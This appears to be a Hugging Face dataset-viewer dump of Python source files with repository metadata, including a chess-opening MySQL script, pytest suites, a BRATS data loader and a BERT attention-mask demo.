xszheng2020/the_stack_dedup_python_hits_6 · Datasets at Hugging Face

d22c061581dc640ae10762ea14b2bbcae422190b

99

py

Python

common_blocks/preprocessing.py

kant/open-solution-salt-identification

46703e42d1423395030c155a929f93926838233f

[ "MIT" ]

142

2018-09-02T08:59:45.000Z

2022-03-30T17:08:24.000Z

common_blocks/preprocessing.py

kant/open-solution-salt-identification

46703e42d1423395030c155a929f93926838233f

[ "MIT" ]

5

2021-03-19T16:10:16.000Z

2022-03-12T00:55:20.000Z

common_blocks/preprocessing.py

kant/open-solution-salt-identification

46703e42d1423395030c155a929f93926838233f

[ "MIT" ]

75

2018-10-04T17:08:40.000Z

2022-03-08T18:50:52.000Z

import numpy as np def img_cumsum(img): return (np.float32(img) - img.mean()).cumsum(axis=0)

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d2739475542622e1b8b8026e8d241a157d3e365d

133

py

Python

boundsdraw/boundsdraw.py

ismaelharunid/pytiledboundsdraw

d7754a01d44cc41e5ee0406cdbdf30bb1225022e

[ "MIT" ]

null

boundsdraw/boundsdraw.py

ismaelharunid/pytiledboundsdraw

d7754a01d44cc41e5ee0406cdbdf30bb1225022e

[ "MIT" ]

null

boundsdraw/boundsdraw.py

ismaelharunid/pytiledboundsdraw

d7754a01d44cc41e5ee0406cdbdf30bb1225022e

[ "MIT" ]

null

from .dummydraw import DummyDraw class BoundsDraw(DummyDraw): """ A drawer manager that maintains bounds. """ pass

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34

py

Python

showcode_forge/scaffolding/__init__.py

tituszban/showcode_forge

fbd7c0dc346c2248e87979546d780b508af01b80

[ "MIT" ]

3

2021-06-18T12:55:11.000Z

2021-11-22T18:46:15.000Z

showcode_forge/scaffolding/__init__.py

tituszban/showcode_forge

fbd7c0dc346c2248e87979546d780b508af01b80

[ "MIT" ]

null

showcode_forge/scaffolding/__init__.py

tituszban/showcode_forge

fbd7c0dc346c2248e87979546d780b508af01b80

[ "MIT" ]

1

2021-06-18T21:35:59.000Z

from .scaffolding import scaffold

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965a505b655a0c135805ed25841a3ce8313f134c

47

py

Python

users/backends.py

mozilla/gelato.admin

7cec1d8ef072208ccf957203351a986329a76f30

[ "BSD-3-Clause" ]

null

users/backends.py

mozilla/gelato.admin

7cec1d8ef072208ccf957203351a986329a76f30

[ "BSD-3-Clause" ]

1

2019-02-17T17:53:11.000Z

users/backends.py

mozilla/gelato.admin

7cec1d8ef072208ccf957203351a986329a76f30

[ "BSD-3-Clause" ]

1

2019-11-02T23:49:16.000Z

from gelato.models.users import AmoUserBackend

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965c6a5e2b2875769f4880ed693e193ae8c0f6a7

31

py

Python

libsaas/services/instagram/__init__.py

MidtownFellowship/libsaas

541bb731b996b08ede1d91a235cb82895765c38a

[ "MIT" ]

155

2015-01-27T15:17:59.000Z

2022-02-20T00:14:08.000Z

libsaas/services/instagram/__init__.py

MidtownFellowship/libsaas

541bb731b996b08ede1d91a235cb82895765c38a

[ "MIT" ]

14

2015-01-12T08:22:37.000Z

2021-06-16T19:49:31.000Z

libsaas/services/instagram/__init__.py

MidtownFellowship/libsaas

541bb731b996b08ede1d91a235cb82895765c38a

[ "MIT" ]

43

2015-01-28T22:41:45.000Z

2021-09-21T04:44:26.000Z

from .service import Instagram

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6

96906720df3f999866c92a374ce9399cfe4a94cf

11,281

py

Python

getrecords.py

prateek-py/Chess-opening-moves

3aeb8a06ef11706a9a217224020a24e39cdc9e00

[ "MIT" ]

null

getrecords.py

prateek-py/Chess-opening-moves

3aeb8a06ef11706a9a217224020a24e39cdc9e00

[ "MIT" ]

null

getrecords.py

prateek-py/Chess-opening-moves

3aeb8a06ef11706a9a217224020a24e39cdc9e00

[ "MIT" ]

null

from func import* from database_setup import* def make_table_blitz(): '''creates tables for players data and opening data for blitz''' try: mycursor.execute("drop table BlitzPlayers") mycursor.execute("drop table BlitzOpening") except: pass mycursor.execute("CREATE TABLE BlitzPlayers (BplayerID int PRIMARY KEY AUTO_INCREMENT, username VARCHAR(50), name VARCHAR(50))") mycursor.execute("CREATE TABLE BlitzOpening (id int PRIMARY KEY AUTO_INCREMENT, color VARCHAR(50), moves VARCHAR(50) UNIQUE)") def make_table_bullet(): '''creates tables for players data and opening data for bullet''' try: mycursor.execute("drop table BulletPlayers") mycursor.execute("drop table BulletOpening") except: pass mycursor.execute("CREATE TABLE BulletPlayers (BplayerID int PRIMARY KEY AUTO_INCREMENT, username VARCHAR(50), name VARCHAR(50))") mycursor.execute("CREATE TABLE BulletOpening (id int PRIMARY KEY AUTO_INCREMENT, color VARCHAR(50), moves VARCHAR(50) UNIQUE)") def get_top_players_blitz(): '''fetches the top players in blitz and puts the data in the database''' js=get_leaderboard_data() make_table_blitz() for i in range(len(js['live_blitz'])): val=js['live_blitz'][i] if 'name' in val: ## as some players haven't mentioned their names, so we have not taken those entries (could be cheaters + i want names for display in visualizations ahead) mycursor.execute("INSERT INTO BlitzPlayers (username,name) VALUES (%s,%s)",(val['username'],val['name'])) db.commit() def get_top_players_bullet(): '''fetches the top players in bullet and puts the data in the database''' js=get_leaderboard_data() make_table_bullet() for i in range(len(js['live_bullet'])): val=js['live_bullet'][i] if 'name' in val: mycursor.execute("INSERT INTO BulletPlayers (username,name) VALUES (%s,%s)",(val['username'],val['name'])) db.commit() def make_junction_table_blitz(): '''Creates junction tables for bullet game data It will drop the 2 tables(if present) and create them again after truncating the BlitzOpening table''' try: mycursor.execute("drop table BlitzJunctionW") mycursor.execute("drop table BlitzJunctionB") except: pass mycursor.execute('TRUNCATE BlitzOpening') mycursor.execute('''CREATE TABLE BlitzJunctionW ( BplayerID int NOT NULL, moveID int NOT NULL,count int NOT NULL, PRIMARY KEY (BplayerID,moveID), FOREIGN KEY (BplayerID) REFERENCES BlitzPlayers (BplayerID), FOREIGN KEY (moveID) REFERENCES BlitzOpening (id) )''') mycursor.execute('''CREATE TABLE BlitzJunctionB ( BplayerID int NOT NULL, moveID int NOT NULL,count int NOT NULL, PRIMARY KEY (BplayerID,moveID), FOREIGN KEY (BplayerID) REFERENCES BlitzPlayers (BplayerID), FOREIGN KEY (moveID) REFERENCES BlitzOpening (id) )''') def make_junction_table_bullet(): '''Creates junction tables for bullet game data It will drop the 2 tables(if present) and create them again after truncating the BulletOpening table''' try: mycursor.execute("drop table BulletJunctionW") mycursor.execute("drop table BulletJunctionB") except: pass mycursor.execute('TRUNCATE BulletOpening') mycursor.execute('''CREATE TABLE BulletJunctionW ( BplayerID int NOT NULL, moveID int NOT NULL,count int NOT NULL, PRIMARY KEY (BplayerID,moveID), FOREIGN KEY (BplayerID) REFERENCES BulletPlayers (BplayerID), FOREIGN KEY (moveID) REFERENCES BulletOpening (id) )''') mycursor.execute('''CREATE TABLE BulletJunctionB ( BplayerID int NOT NULL, moveID int NOT NULL,count int NOT NULL, PRIMARY KEY (BplayerID,moveID), FOREIGN KEY (BplayerID) REFERENCES BulletPlayers (BplayerID), FOREIGN KEY (moveID) REFERENCES BulletOpening (id) )''') def get_top_moves_blitz(mingames=100): '''Selects the players from the top players table and finds the opening move played by them and stores them into the database. For each player it fetches min 'mingames' no. of games. ''' make_junction_table_blitz() mycursor.execute("SELECT * FROM BlitzPlayers") for x in mycursor: dicW, dicB={}, {} game_data_list=get_min_games(x[1], 'blitz', mingames) count=0 for i in range(len(game_data_list)): try: move=get_opening_move(game_data_list[i],x[1]) except: pass else: if move!=None: if get_color(game_data_list[i],x[1])=='W': dicW[move]= dicW.setdefault(move, 0)+1 else: dicB[move]= dicB.setdefault(move, 0)+1 for i in dicW.keys(): try: cursorformoves.execute("INSERT INTO BlitzOpening (color,moves) VALUES (%s,%s)",('W',i)) db.commit() except: pass for i in dicB.keys(): try: cursorformoves.execute("INSERT INTO BlitzOpening (color,moves) VALUES (%s,%s)",('B',i)) db.commit() except: pass for k,v in dicW.items(): cursorformoves.execute("SELECT id FROM BlitzOpening WHERE moves=%s",(k,)) mId=cursorformoves.fetchone() cursorformoves.execute("INSERT INTO BlitzJunctionW (BplayerID,moveid,count) VALUES (%s,%s,%s)",(x[0],mId[0],v)) db.commit() for k,v in dicB.items(): cursorformoves.execute("SELECT id FROM BlitzOpening WHERE moves=%s",(k,)) mId=cursorformoves.fetchone() cursorformoves.execute("INSERT INTO BlitzJunctionB (BplayerID,moveid,count) VALUES (%s,%s,%s)",(x[0],mId[0],v)) db.commit() def get_top_moves_bullet(mingames=100): '''Selects the players from the top players table and finds the opening move played by them and stores them into the database. For each player it fetches min 'mingames' no. of games. ''' make_junction_table_bullet() mycursor.execute("SELECT * FROM BulletPlayers") for x in mycursor: dicW, dicB={}, {} game_data_list=get_min_games(x[1], 'bullet', 100) count=0 for i in range(len(game_data_list)): try: move=get_opening_move(game_data_list[i],x[1]) except: pass else: if move!=None: if get_color(game_data_list[i],x[1])=='W': dicW[move]= dicW.setdefault(move, 0)+1 else: dicB[move]= dicB.setdefault(move, 0)+1 for i in dicW.keys(): try: cursorformoves.execute("INSERT INTO BulletOpening (color,moves) VALUES (%s,%s)",('W',i)) db.commit() except: pass for i in dicB.keys(): try: cursorformoves.execute("INSERT INTO BulletOpening (color,moves) VALUES (%s,%s)",('B',i)) db.commit() except: pass for k,v in dicW.items(): cursorformoves.execute("SELECT id FROM BulletOpening WHERE moves=%s",(k,)) mId=cursorformoves.fetchone() cursorformoves.execute("INSERT INTO BulletJunctionW (BplayerID,moveid,count) VALUES (%s,%s,%s)",(x[0],mId[0],v)) db.commit() for k,v in dicB.items(): cursorformoves.execute("SELECT id FROM BulletOpening WHERE moves=%s",(k,)) mId=cursorformoves.fetchone() cursorformoves.execute("INSERT INTO BulletJunctionB (BplayerID,moveid,count) VALUES (%s,%s,%s)",(x[0],mId[0],v)) db.commit() def moves_frequency_BlitzW(): '''It will provide us with the total count each of all the different moves played as white in Blitz''' dict_move={} cursorformoves = db.cursor(buffered=True) mycursor.execute("SELECT * FROM blitzopening WHERE color='W'") for x in mycursor: cursorformoves.execute("SELECT SUM(count) FROM BlitzJunctionW WHERE moveID=%s",(x[0],)) for y in cursorformoves: dict_move[x[2]] = int(y[0]) return dict(sorted(dict_move.items(),key= lambda x:x[1], reverse=True)) def moves_frequency_BlitzB(): '''It will provide us with the total count each of all the different moves played as black in Blitz''' dict_move={} cursorformoves = db.cursor(buffered=True) mycursor.execute("SELECT * FROM blitzopening WHERE color='B'") for x in mycursor: cursorformoves.execute("SELECT SUM(count) FROM BlitzJunctionB WHERE moveID=%s",(x[0],)) for y in cursorformoves: dict_move[x[2]] = int(y[0]) return dict(sorted(dict_move.items(),key= lambda x:x[1], reverse=True)) def moves_frequency_BulletW(): '''It will provide us with the total count each of all the different moves played as white in Bullet''' dict_move={} cursorformoves = db.cursor(buffered=True) mycursor.execute("SELECT * FROM bulletopening WHERE color='W'") for x in mycursor: cursorformoves.execute("SELECT SUM(count) FROM BulletJunctionW WHERE moveID=%s",(x[0],)) for y in cursorformoves: dict_move[x[2]] = int(y[0]) return dict(sorted(dict_move.items(),key= lambda x:x[1], reverse=True)) def moves_frequency_BulletB(): '''It will provide us with the total count each of all the different moves played as black in Bullet''' dict_move={} cursorformoves = db.cursor(buffered=True) mycursor.execute("SELECT * FROM bulletopening WHERE color='B'") for x in mycursor: cursorformoves.execute("SELECT SUM(count) FROM BulletJunctionB WHERE moveID=%s",(x[0],)) for y in cursorformoves: dict_move[x[2]] = int(y[0]) return dict(sorted(dict_move.items(),key= lambda x:x[1], reverse=True)) if __name__ == "__main__": # get the records in the database of the opening chess moves by the top players get_top_players_blitz() get_top_players_bullet() get_top_moves_blitz(100) # specify the min number of games to fetch the opening moves from for blitz games per player get_top_moves_bullet(100) # specify the min number of games to fetch the opening moves from for bullet games per player #do note that the more the games the slower the fetching would be

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73850a3c01e90076f5db204b1c59fe8d62d83073

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py

Python

jumpscale/sals/marketplace/__init__.py

zaibon/js-sdk

cd1d26f2c3343884c1927ceef7c1e12e3f7da905

[ "Apache-2.0" ]

13

2020-09-02T09:05:08.000Z

2022-03-12T02:43:24.000Z

jumpscale/sals/marketplace/__init__.py

zaibon/js-sdk

cd1d26f2c3343884c1927ceef7c1e12e3f7da905

[ "Apache-2.0" ]

1,998

2020-06-15T11:46:10.000Z

2022-03-24T22:12:41.000Z

jumpscale/sals/marketplace/__init__.py

zaibon/js-sdk

cd1d26f2c3343884c1927ceef7c1e12e3f7da905

[ "Apache-2.0" ]

8

2020-09-29T06:50:35.000Z

2021-06-14T03:30:52.000Z

from .chatflow import MarketPlaceChatflow from .apps_chatflow import MarketPlaceAppsChatflow from .deployer import deployer from .solutions import solutions

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73cda64c9d42829ab8cef024912d2b9dfaf66cb6

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Python

venv3/lib/python3.8/site-packages/tests/test_vcs_configuration.py

paul-romeo/pytest-in-60-minutes

a4817312081347737f87801c0623054eba599418

[ "MIT" ]

94

2016-05-23T17:13:11.000Z

2021-12-03T23:06:45.000Z

venv3/lib/python3.8/site-packages/tests/test_vcs_configuration.py

paul-romeo/pytest-in-60-minutes

a4817312081347737f87801c0623054eba599418

[ "MIT" ]

39

2016-05-19T17:57:53.000Z

2020-12-26T09:57:21.000Z

venv3/lib/python3.8/site-packages/tests/test_vcs_configuration.py

paul-romeo/pytest-in-60-minutes

a4817312081347737f87801c0623054eba599418

[ "MIT" ]

15

2016-05-23T20:22:37.000Z

2019-12-27T21:13:04.000Z

import pytest from punch import vcs_configuration as vc @pytest.fixture def global_variables(): return { 'serializer': '{{ major }}.{{ minor }}.{{ patch }}', 'mark': 'just a mark' } @pytest.fixture def vcs_config_dict(): return { 'name': 'git', 'commit_message': "Version updated to {{ new_version }}", 'finish_release': True, 'options': { 'make_release_branch': False, 'annotate_tags': False, 'annotation_message': '', } } @pytest.fixture def vcs_config_dict_with_include_files(vcs_config_dict): vcs_config_dict['include_files'] = ['HISTORY.rst'] return vcs_config_dict @pytest.fixture def vcs_config_dict_with_include_all_files(vcs_config_dict): vcs_config_dict['include_all_files'] = True return vcs_config_dict @pytest.fixture def special_variables(): return { 'current_version': '1.2.3', 'new_version': '1.3.0' } def test_vcs_configuration_from_string( vcs_config_dict, global_variables, special_variables): vcsconf = vc.VCSConfiguration(vcs_config_dict['name'], vcs_config_dict['options'], global_variables, special_variables, vcs_config_dict['commit_message'] ) expected_options = { 'make_release_branch': False, 'annotate_tags': False, 'annotation_message': '', 'current_version': '1.2.3', 'new_version': '1.3.0' } assert vcsconf.name == 'git' assert vcsconf.commit_message == "Version updated to 1.3.0" assert vcsconf.include_files == [] assert vcsconf.finish_release is True assert vcsconf.options == expected_options def test_vcs_configuration_from_string_with_include_files( vcs_config_dict_with_include_files, global_variables, special_variables): vcsconf = vc.VCSConfiguration( vcs_config_dict_with_include_files['name'], vcs_config_dict_with_include_files['options'], global_variables, special_variables, vcs_config_dict_with_include_files['commit_message'], include_files=vcs_config_dict_with_include_files['include_files'] ) assert vcsconf.include_files == ['HISTORY.rst'] def test_vcs_configuration_from_string_with_include_all_files( vcs_config_dict_with_include_all_files, global_variables, special_variables): vcsconf = vc.VCSConfiguration( vcs_config_dict_with_include_all_files['name'], vcs_config_dict_with_include_all_files['options'], global_variables, special_variables, vcs_config_dict_with_include_all_files['commit_message'], include_all_files=vcs_config_dict_with_include_all_files[ 'include_all_files'] ) assert vcsconf.include_all_files is True def test_vcs_configuration_from_dict( vcs_config_dict, global_variables, special_variables): vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict, global_variables, special_variables ) expected_options = { 'make_release_branch': False, 'annotate_tags': False, 'annotation_message': '', 'current_version': '1.2.3', 'new_version': '1.3.0' } assert vcsconf.name == 'git' assert vcsconf.commit_message == "Version updated to 1.3.0" assert vcsconf.include_files == [] assert vcsconf.finish_release is True assert vcsconf.options == expected_options def test_vcs_configuration_from_dict_with_include_files( vcs_config_dict_with_include_files, global_variables, special_variables): vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict_with_include_files, global_variables, special_variables ) assert vcsconf.include_files == ['HISTORY.rst'] def test_vcs_configuration_from_dict_with_include_all_files( vcs_config_dict_with_include_all_files, global_variables, special_variables): vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict_with_include_all_files, global_variables, special_variables ) assert vcsconf.include_all_files is True def test_vcs_configuration_from_dict_without_commit_message( vcs_config_dict, global_variables, special_variables): vcs_config_dict.pop('commit_message') vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict, global_variables, special_variables ) expected_options = { 'make_release_branch': False, 'annotate_tags': False, 'annotation_message': '', 'current_version': '1.2.3', 'new_version': '1.3.0' } assert vcsconf.name == 'git' assert vcsconf.commit_message == "Version updated 1.2.3 -> 1.3.0" assert vcsconf.include_files == [] assert vcsconf.finish_release is True assert vcsconf.options == expected_options def test_vcs_configuration_from_dict_without_finish_release( vcs_config_dict, global_variables, special_variables): vcs_config_dict.pop('finish_release') vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict, global_variables, special_variables ) expected_options = { 'make_release_branch': False, 'annotate_tags': False, 'annotation_message': '', 'current_version': '1.2.3', 'new_version': '1.3.0' } assert vcsconf.name == 'git' assert vcsconf.commit_message == "Version updated to 1.3.0" assert vcsconf.include_files == [] assert vcsconf.finish_release is True assert vcsconf.options == expected_options def test_vcs_configuration_from_dict_without_options( vcs_config_dict, global_variables, special_variables): vcs_config_dict.pop('options') vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict, global_variables, special_variables ) assert vcsconf.name == 'git' assert vcsconf.commit_message == "Version updated to 1.3.0" assert vcsconf.finish_release is True def test_vcs_configuration_from_dict_can_use_global_variables( vcs_config_dict, global_variables, special_variables): vcs_config_dict['commit_message'] = "Mark: {{ mark }}" vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict, global_variables, special_variables ) assert vcsconf.commit_message == "Mark: just a mark" def test_vcs_configuration_from_dict_special_variables_take_precedence( vcs_config_dict, global_variables, special_variables): vcs_config_dict['commit_message'] = "{{ current_version }}" global_variables['current_version'] = "5.0.0" vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict, global_variables, special_variables ) assert vcsconf.commit_message == "1.2.3" def test_vcs_configuration_from_dict_options_templates_are_processed( vcs_config_dict, global_variables, special_variables): vcs_config_dict['options']['annotation_message'] = \ "Updated {{ current_version}} -> {{ new_version }}" vcsconf = vc.VCSConfiguration.from_dict( vcs_config_dict, global_variables, special_variables ) expected_options = { 'make_release_branch': False, 'annotate_tags': False, 'annotation_message': 'Updated 1.2.3 -> 1.3.0', 'current_version': '1.2.3', 'new_version': '1.3.0' } assert vcsconf.options == expected_options

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null

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null

0

6

73ed5effd9443babc149b43193467b020fbd7975

40

py

Python

starterlite/util/__init__.py

gjsun/starterlite

4838c0b9837e0012157596984f9e39ed52f9c86c

[ "MIT" ]

null

starterlite/util/__init__.py

gjsun/starterlite

4838c0b9837e0012157596984f9e39ed52f9c86c

[ "MIT" ]

null

starterlite/util/__init__.py

gjsun/starterlite

4838c0b9837e0012157596984f9e39ed52f9c86c

[ "MIT" ]

null

from .ParameterFile import ParameterFile

40

0.9

4

40

9

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40

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null

0

1

0

1

0

1

0

6

fb44bbfac8317c7908dea2d2ff7e58a81aef0c2a

1,842

py

Python

test_app.py

3l3n01/lift-pass

5253d00311ac0133249de2e368b6ee51cea13e93

[ "MIT" ]

null

test_app.py

3l3n01/lift-pass

5253d00311ac0133249de2e368b6ee51cea13e93

[ "MIT" ]

null

test_app.py

3l3n01/lift-pass

5253d00311ac0133249de2e368b6ee51cea13e93

[ "MIT" ]

null

import pytest from src.app import app def test_base(): with app.test_client() as client: response = client.get( '/prices', query_string={'age': 20, 'date': '2020-05-08', 'type': 'Jour'}) json_data = response.get_json() assert json_data['cost'] == 35 def test_night(): with app.test_client() as client: response = client.get( '/prices', query_string={'age': 20, 'date': '2020-05-08', 'type': 'Night'}) json_data = response.get_json() assert json_data['cost'] == 19 def test_child(): with app.test_client() as client: response = client.get( '/prices', query_string={'age': 5, 'date': '2020-05-08', 'type': 'Jour'}) json_data = response.get_json() assert json_data['cost'] == 0 def test_elderly(): with app.test_client() as client: response = client.get( '/prices', query_string={'age': 65, 'date': '2020-05-08', 'type': 'Jour'}) json_data = response.get_json() assert json_data['cost'] == 27 def test_elderly_night(): with app.test_client() as client: response = client.get( '/prices', query_string={'age': 65, 'date': '2020-05-08', 'type': 'Night'}) json_data = response.get_json() assert json_data['cost'] == 8 def test_holiday(): with app.test_client() as client: response = client.get( '/prices', query_string={'age': 20, 'date': '2020-12-25', 'type': 'Jour'}) json_data = response.get_json() assert json_data['cost'] == 35 def test_monday(): with app.test_client() as client: response = client.get( '/prices', query_string={'age': 20, 'date': '2020-05-04', 'type': 'Jour'}) json_data = response.get_json() assert json_data['cost'] == 23

27.492537

87

0.573833

239

1,842

4.242678

0.1841

0.110454

0.075937

0.117357

0.884615

0

0.058995

0.254615

1,842

66

88

27.909091

0.679534

0

0.522727

0

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false

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0.045455

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0

null

0

1

0

null

0

6

837b35b49fb7fd383f65f141fb6e8256db2bd140

6,364

py

Python

BRATS/data/singlepath.py

eanemo/KiU-Net-pytorch

9786f9741e2abf8bbf3601c6af301868ed8c3965

[ "MIT" ]

236

2020-06-08T06:49:54.000Z

2022-03-28T13:57:58.000Z

BRATS/data/singlepath.py

guopengf/KiU-Net-pytorch

f56e79d7e89016e0ee13a081a9bee1ded1b68cba

[ "MIT" ]

28

2020-07-08T12:20:34.000Z

2022-03-14T12:27:36.000Z

BRATS/data/singlepath.py

guopengf/KiU-Net-pytorch

f56e79d7e89016e0ee13a081a9bee1ded1b68cba

[ "MIT" ]

59

2020-06-12T01:19:29.000Z

2022-03-11T02:08:14.000Z

#echo $OMP_NUM_THREADS import pickle import time import os import torch from torch.utils.data import Dataset from .rand import Uniform from .transforms import Rot90, Flip, Identity, Spatial, Compose from .transforms import GaussianBlur, Noise, Normalize, RandSelect from .transforms import RandCrop, CenterCrop, Pad from .transforms import NumpyType from .data_utils import pkload, gen_feats import numpy as np class SingleData28(Dataset): def __init__(self, list_file, root='', for_train=False, transforms='', return_target=True, crop=True): paths, names = [], [] with open(list_file) as f: for line in f: line = line.strip() name = line.split('/')[-1] names.append(name) path = os.path.join(root, line , name + '_') paths.append(path) self.names = names self.paths = paths self.return_target = return_target self.transforms = eval(transforms or 'Identity()') self.feats = gen_feats() def __getitem__(self, index): path = self.paths[index] x, y = pkload(path + 'data_f32.pkl') x = np.concatenate([x, self.feats], -1) mask = np.load(path + 'HarvardOxford-sub.npy') # transforms work with nhwtc x, y, mask = x[None, ...], y[None, ...], mask[None, ...] done = False if self.return_target: while not done: a, b, c = self.transforms([x, y, mask]) if b.sum() > 0: done = True x, y, mask = a, b, c else: x, mask = self.transforms([x, mask]) y = np.array([1]) x = np.ascontiguousarray(x.transpose(0, 4, 1, 2, 3)) y = np.ascontiguousarray(y) x, y, mask = torch.from_numpy(x), torch.from_numpy(y), torch.from_numpy(mask) return x, y, mask def __len__(self): return len(self.names) def collate(self, batch): return [torch.cat(v) for v in zip(*batch)] #@staticmethod #def add_mask(x, mask, dim=1): # mask = mask.unsqueeze(dim) # shape = list(x.shape); shape[dim] += 21 # new_x = x.new(*shape).zero_() # new_x = new_x.scatter_(dim, mask, 1.0) # s = [slice(None)]*len(shape) # s[dim] = slice(21, None) # new_x[s] = x # return new_x class SingleData25(Dataset): def __init__(self, list_file, root='', for_train=False, transforms='', return_target=True, crop=True): paths, names = [], [] with open(list_file) as f: for line in f: line = line.strip() name = line.split('/')[-1] names.append(name) path = os.path.join(root, line , name + '_') paths.append(path) self.names = names self.paths = paths self.return_target = return_target self.transforms = eval(transforms or 'Identity()') def __getitem__(self, index): path = self.paths[index] x, y = pkload(path + 'data_f32.pkl') mask = np.load(path + 'HarvardOxford-sub.npy') # transforms work with nhwtc x, y, mask = x[None, ...], y[None, ...], mask[None, ...] done = False if self.return_target: while not done: a, b, c = self.transforms([x, y, mask]) if b.sum() > 0: done = True x, y, mask = a, b, c else: x, mask = self.transforms([x, mask]) y = np.array([1]) x = np.ascontiguousarray(x.transpose(0, 4, 1, 2, 3)) y = np.ascontiguousarray(y) x, y, mask = torch.from_numpy(x), torch.from_numpy(y), torch.from_numpy(mask) return x, y, mask def __len__(self): return len(self.names) def collate(self, batch): return [torch.cat(v) for v in zip(*batch)] #@staticmethod #def add_mask(x, mask, dim=1): # mask = mask.unsqueeze(dim) # shape = list(x.shape); shape[dim] += 21 # new_x = x.new(*shape).zero_() # new_x = new_x.scatter_(dim, mask, 1.0) # s = [slice(None)]*len(shape) # s[dim] = slice(21, None) # new_x[s] = x # return new_x class SingleData(Dataset): def __init__(self, list_file, root='', for_train=False, transforms='', return_target=True, crop=True): paths, names = [], [] with open(list_file) as f: for line in f: line = line.strip() name = line.split('/')[-1] names.append(name) path = os.path.join(root, line , name + '_') paths.append(path) self.names = names self.paths = paths self.return_target = return_target self.transforms = eval(transforms or 'Identity()') def __getitem__(self, index): path = self.paths[index] x, y = pkload(path + 'data_f32.pkl') # transforms work with nhwtc x, y = x[None, ...], y[None, ...] done = False if self.return_target: while not done: a, b = self.transforms([x, y]) if b.sum() > 0: done = True x, y = a, b else: x = self.transforms(x) x = np.ascontiguousarray(x.transpose(0, 4, 1, 2, 3)) y = np.ascontiguousarray(y) x, y = torch.from_numpy(x), torch.from_numpy(y) return x, y def __len__(self): return len(self.names) def collate(self, batch): return [torch.cat(v) for v in zip(*batch)] #S = '''Compose([ # RandCrop(128), # Rot90(axes=(0,1)), # ])''' # #S = '''Compose([ # Pad((0, 0, 5, 0)), # Rot90(axes=(0,1)), # ])''' # #root = '/home/thuyen/Data/brats17/Brats17TrainingData/' #file_list = root + 'all.txt' ##dset = SingleData(file_list, root=root, for_train=True) #dset = SingleData(file_list, root=root, for_train=True, geo_transforms=S) #print(dset.paths[0]) #print(dset.names[0]) #x, y = dset[0] #print(x.shape, y.shape) #exit(0) #import time #start = time.time() ##for i in range(len(dset)): #for i in range(10): # dset[i] # #x1, x2, y, c = dset[0] # print(time.time() - start) # start = time.time() #

28.035242

85

0.533155

831

6,364

3.965102

0.162455

0.011533

0.018209

0.016388

0.769348

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0.747496

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0

0.018076

0.321967

6,364

226

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0

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0.047619

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null

0

1

0

1

0

null

0

6

837b8d971cd2bf4cedc8ab72a3007a4bd5ad0d83

1,725

py

Python

4-5.Bert-seq2seq/mask_demo.py

techthiyanes/nlp-notebook

0e5f4b75e635128d4056c89a6c65bea60c15e836

[ "MIT" ]

136

2021-04-18T12:03:55.000Z

2022-03-31T14:58:46.000Z

cn_summary/engine/bert_seq2seq_summarizer/mask_demo.py

ethan-iai/cn-summary

e8db43a74ebe0278e4cff5f37157b1414c120deb

[ "MIT" ]

3

2021-08-08T08:38:06.000Z

2022-03-26T17:17:40.000Z

cn_summary/engine/bert_seq2seq_summarizer/mask_demo.py

ethan-iai/cn-summary

e8db43a74ebe0278e4cff5f37157b1414c120deb

[ "MIT" ]

40

2021-05-18T06:55:37.000Z

2022-03-30T00:47:12.000Z

# -*- coding: utf-8 -*- ''' 假设输入的input_ids 为：[[101,5,6,7,102,3,9,102],[101,10,11,102,7,9,102,0],,[101,10,102,7,9,102,0,0]] 其中：101代表[CLS],102代表[SEP],0代表[PAD] 对应的 token_type_ids_for_mask 为：[[1,1,1,1,1,0,0,0],[1,1,1,1,0,0,0,-1],[1,1,1,0,0,0,-1,-1]] 构造如下特殊的 mask ，使得输入部分的Attention是双向的，输出部分的Attention是单向： tensor([[[[1., 1., 1., 1., 1., 0., 0., 0.], [1., 1., 1., 1., 1., 0., 0., 0.], [1., 1., 1., 1., 1., 0., 0., 0.], [1., 1., 1., 1., 1., 0., 0., 0.], [1., 1., 1., 1., 1., 0., 0., 0.], [1., 1., 1., 1., 1., 1., 0., 0.], [1., 1., 1., 1., 1., 1., 1., 0.], [1., 1., 1., 1., 1., 1., 1., 1.]]], [[[1., 1., 1., 1., 0., 0., 0., 0.], [1., 1., 1., 1., 0., 0., 0., 0.], [1., 1., 1., 1., 0., 0., 0., 0.], [1., 1., 1., 1., 0., 0., 0., 0.], [1., 1., 1., 1., 1., 0., 0., 0.], [1., 1., 1., 1., 1., 1., 0., 0.], [1., 1., 1., 1., 1., 1., 1., 0.], [0., 0., 0., 0., 0., 0., 0., 0.]]], [[[1., 1., 1., 0., 0., 0., 0., 0.], [1., 1., 1., 0., 0., 0., 0., 0.], [1., 1., 1., 0., 0., 0., 0., 0.], [1., 1., 1., 1., 0., 0., 0., 0.], [1., 1., 1., 1., 1., 0., 0., 0.], [1., 1., 1., 1., 1., 1., 0., 0.], [0., 0., 0., 0., 0., 0., 0., 0.], [0., 0., 0., 0., 0., 0., 0., 0.]]]]) ''' import torch token_type_ids_for_mask = torch.tensor([[1,1,1,1,1,0,0,0],[1,1,1,1,0,0,0,-1],[1,1,1,0,0,0,-1,-1]]) mask = torch.ones((1, 1, 8, 8), dtype=torch.float32).tril() t1 = token_type_ids_for_mask.unsqueeze(1).unsqueeze(2).float() t2 = (token_type_ids_for_mask != -1).unsqueeze(1).unsqueeze(3).float() mask = ((mask+t1)*t2 > 0).float() print(mask)

38.333333

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0.351396

0.384236

0.341544

0.568145

0.413793

0

0.245433

0.270145

1,725

45

99

38.333333

0.238284

0.788986

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false

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null

1

0

1

0

1

0

null

0

6

83842f07f71d3b2f6f21033d49e60642f492e9bd

25,224

py

Python

tests/query/v1/test_yield.py

nevermore3/nebula-graph

6f24438289c2b20575bc6acdf607cd2a3648d30d

[ "Apache-2.0" ]

null

tests/query/v1/test_yield.py

nevermore3/nebula-graph

6f24438289c2b20575bc6acdf607cd2a3648d30d

[ "Apache-2.0" ]

null

tests/query/v1/test_yield.py

nevermore3/nebula-graph

6f24438289c2b20575bc6acdf607cd2a3648d30d

[ "Apache-2.0" ]

null

